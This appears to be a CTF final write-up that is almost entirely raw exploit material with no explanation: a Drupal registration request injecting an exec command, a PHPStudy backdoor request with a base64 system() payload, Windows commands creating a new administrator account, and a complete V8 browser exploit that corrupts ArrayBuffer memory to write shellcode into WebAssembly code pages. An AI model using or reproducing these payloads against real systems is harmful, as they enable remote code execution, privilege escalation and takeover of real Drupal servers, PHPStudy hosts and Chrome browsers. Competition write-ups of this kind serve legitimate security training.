2023 巅峰极客决赛 SU WriteUp

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2

net user dddd123 dddqwe@!@# /add
net localgroup administrators dddd123 /add 

<script>
   function gc() {
       for (var i = 0; i < 0x80000; ++i) {
           var a = new ArrayBuffer();
      }
  }
   let shellcode = [不告诉你];
   var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
   var wasmModule = new WebAssembly.Module(wasmCode);
   var wasmInstance = new WebAssembly.Instance(wasmModule);
   var main = wasmInstance.exports.main;
   var bf = new ArrayBuffer(8);
   var bfView = new DataView(bf);
   function fLow(f) {
       bfView.setFloat64(0, f, true);
       return (bfView.getUint32(0, true));
  }
   function fHi(f) {
       bfView.setFloat64(0, f, true);
       return (bfView.getUint32(4, true))
  }
   function i2f(low, hi) {
       bfView.setUint32(0, low, true);
       bfView.setUint32(4, hi, true);
       return bfView.getFloat64(0, true);
  }
   function f2big(f) {
       bfView.setFloat64(0, f, true);
       return bfView.getBigUint64(0, true);
  }
   function big2f(b) {
       bfView.setBigUint64(0, b, true);
       return bfView.getFloat64(0, true);
  }
   class LeakArrayBuffer extends ArrayBuffer {
       constructor(size) {
           super(size);
           this.slot = 0xb33f;
      }
  }
   function foo(a) {
       let x = -1;
       if (a) x = 0xFFFFFFFF;
       var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
       arr.shift();
       let local_arr = Array(2);
       local_arr[0] = 5.1;//4014666666666666
       let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
       arr[0] = 0x1122;
       return [arr, local_arr, buff];
  }
   for (var i = 0; i < 0x10000; ++i)
       foo(false);
   gc(); gc();
  [corrput_arr, rwarr, corrupt_buff] = foo(true);
   corrput_arr[12] = 0x22444;
   delete corrput_arr;
   function setbackingStore(hi, low) {
       rwarr[4] = i2f(fLow(rwarr[4]), hi);
       rwarr[5] = i2f(low, fHi(rwarr[5]));
  }
   function leakObjLow(o) {
       corrupt_buff.slot = o;
       return (fLow(rwarr[9]) - 1);
  }
   let corrupt_view = new DataView(corrupt_buff);
   let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
   let idx0Addr = corrupt_buffer_ptr_low - 0x10;
   let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
   let delta = baseAddr + 0x1c - idx0Addr;
   if ((delta % 8) == 0) {
       let baseIdx = delta / 8;
       this.base = fLow(rwarr[baseIdx]);
  } else {
       let baseIdx = ((delta - (delta % 8)) / 8);
       this.base = fHi(rwarr[baseIdx]);
  }
   let wasmInsAddr = leakObjLow(wasmInstance);
   setbackingStore(wasmInsAddr, this.base);
   let code_entry = corrupt_view.getFloat64(13 * 8, true);
   setbackingStore(fLow(code_entry), fHi(code_entry));
   for (let i = 0; i < shellcode.length; i++) {
       corrupt_view.setUint8(i, shellcode[i]);
  }
   main();
</script>